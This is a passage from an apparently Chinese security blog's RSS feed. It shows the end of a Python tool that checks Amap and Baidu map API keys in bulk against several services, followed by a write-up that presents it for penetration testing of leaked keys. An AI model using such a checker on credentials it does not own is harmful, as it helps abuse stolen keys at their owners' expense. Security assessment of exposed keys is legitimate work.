    print(f&quot;{EMOJI_DETECT} 开始检测 {len(keys_to_test)} 个密钥，使用 {num_threads} 个线程...&quot;)
    if skip_static: print(f&quot;{EMOJI_INFO} 已设置跳过静态地图检测。&quot;)

    with ThreadPoolExecutor(max_workers=num_threads) as executor:
        for key in keys_to_test:
            key = key.strip()
            if not key: continue

            platform, key_format_desc = KeyValidator.detect_platform(key)
            masked_key = f&quot;{key[:6]}...{key[-4:]}&quot; if len(key) &gt; 10 else key

            if platform == &apos;unknown&apos;:
                print(colored(f&quot;\n{EMOJI_FAIL} 无效密钥格式: {key}&quot;, &quot;red&quot;))
                continue
            if platform == &apos;ambiguous&apos;:
                 print(colored(f&quot;\n{EMOJI_WARNING} 检测到模糊密钥: {masked_key}&quot;, &quot;yellow&quot;))
                 print(colored(f&quot;  格式 ({key_format_desc}) 可能属于高德或百度，将尝试两者。&quot;, &quot;yellow&quot;))
                 platforms_to_try = [&apos;amap&apos;, &apos;baidu&apos;]
            else:
                 platforms_to_try = [platform]

            for p in platforms_to_try:
                print(colored(f&quot;\n{EMOJI_DETECT} 正在检测 {p.upper()} 服务 - 密钥: {masked_key}&quot;, &quot;blue&quot;, attrs=[&apos;bold&apos;]))
                print(f&quot;  {EMOJI_PLATFORM} 平台识别: {p.upper()}&quot;)
                print(f&quot;  {EMOJI_KEY_FORMAT} Key格式: {key_format_desc}&quot;)

                platform_services = tester._generate_service_configs(p)

                for service_name, service_config in platform_services.items():
                    if skip_static and service_config.get(&apos;is_static&apos;, False):
                        continue

                    future = executor.submit(tester.test_service, p, service_name, key, service_config)
                    futures_map[future] = {&apos;key&apos;: key, &apos;platform&apos;: p, &apos;service_name&apos;: service_name}

        print(colored(&quot;\n--- 检测结果 ---&quot;, attrs=[&apos;bold&apos;]))
        processed_count = 0
        total_tasks = len(futures_map)

        for future in as_completed(futures_map):
            processed_count += 1
            context = futures_map[future]
            key = context[&apos;key&apos;]
            platform = context[&apos;platform&apos;]
            service_name = context[&apos;service_name&apos;]
            masked_key = f&quot;{key[:6]}...{key[-4:]}&quot; if len(key) &gt; 10 else key

            try:
                success, detail = future.result()
                ReportGenerator.print_result(service_name, platform, success, detail)

                if success and output_file:
                    result_item = {
                        &apos;key&apos;: key,
                        &apos;platform&apos;: platform,
                        &apos;service_name&apos;: service_name,
                        &apos;request_params&apos;: detail.get(&apos;params&apos;),
                        &apos;response_summary&apos;: ReportGenerator._extract_success_info(service_name, platform, detail.get(&apos;response&apos;)),
                        &apos;latency_ms&apos;: detail.get(&apos;latency&apos;),
                    }
                    results_for_output.append(result_item)

            except Exception as exc:
                 print(colored(f&quot;{EMOJI_FAIL} {service_name.ljust(7)}&quot;, &apos;red&apos;))
                 print(f&quot;  └─ {colored(f&apos;执行 {service_name} (平台: {platform}, 密钥: {masked_key}) 时发生内部错误: {exc}&apos;, &apos;red&apos;)}&quot;)

    if output_file:
        print(colored(f&quot;\n{EMOJI_WRITE} 正在将 {len(results_for_output)} 条成功结果写入到: {output_file}&quot;, &quot;blue&quot;))
        try:
            with open(output_file, &apos;w&apos;, encoding=&apos;utf-8&apos;) as f:
                json.dump(results_for_output, f, ensure_ascii=False, indent=4)
            print(colored(f&quot;{EMOJI_SUCCESS} 成功写入 JSON 文件。&quot;, &quot;green&quot;))
        except IOError as e:
            print(colored(f&quot;{EMOJI_ERROR} 写入文件失败: {e}&quot;, &quot;red&quot;))
        except TypeError as e:
             print(colored(f&quot;{EMOJI_ERROR} 序列化结果为JSON时失败 (可能包含无法序列化的数据): {e}&quot;, &quot;red&quot;))


if __name__ == &quot;__main__&quot;:
    # --- Print Banner First ---
    print(colored(BANNER, &apos;cyan&apos;)) # Choose a color for the banner

    args = parse_args() # Parse arguments after printing banner
    keys = []

    if args.keys:
        keys.extend(args.keys)
    if args.file:
        try:
            with open(args.file, &apos;r&apos;, encoding=&apos;utf-8&apos;) as f:
                keys.extend([line.strip() for line in f if line.strip()])
        except FileNotFoundError:
             print(colored(f&quot;{EMOJI_ERROR} 错误：密钥文件 &apos;{args.file}&apos; 未找到。&quot;, &quot;red&quot;))
             exit(1)
        except Exception as e:
             print(colored(f&quot;{EMOJI_ERROR} 错误：读取密钥文件 &apos;{args.file}&apos; 时出错: {e}&quot;, &quot;red&quot;))
             exit(1)

    unique_keys = sorted(list(set(keys)))

    # Input validation is handled within parse_args now

    main(unique_keys, args.threads, args.output, args.skip_static)
    print(colored(f&quot;\n{EMOJI_TOOL} 检测完成。&quot;, attrs=[&apos;bold&apos;]))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;地图API密钥全自动检测工具&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;简介&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;地图API密钥全自动检测工具&lt;/strong&gt; 是一款高效、全面的解决方案，旨在简化渗透测试过程中地图API密钥的管理和风险评估工作。 无论是渗透测试人员还是安全研究人员，在分析应用程序或系统对地图API的依赖时，常常面临密钥有效性验证、服务权限探测和潜在安全风险评估等多重挑战。  本工具通过自动化执行这些关键任务，极大地提升了水洞效率，并帮助识别与地图服务相关的潜在安全漏洞.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;主要功能&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;密钥有效性验证：&lt;/strong&gt; 多接口，多服务调用自动验证地图API密钥的有效状态(高德/百度)，快速识别可能被滥用或已泄露的密钥。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;批量密钥测试：&lt;/strong&gt; 支持批量测试多个地图API密钥，提高渗透测试效率，快速评估大量密钥的风险。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;技术特点&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Python开发：&lt;/strong&gt; 采用Python语言开发，具有良好的跨平台性和可读性。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Requests库：&lt;/strong&gt; 使用Requests库发送HTTP请求，简化API调用过程。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;快速开始&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;运行脚本：&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;python your_script_name.py -k your_amap_key&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;输出如下：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1744448148707-943452.CWBSHNAU_Z1BJLnw.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item></channel></rss>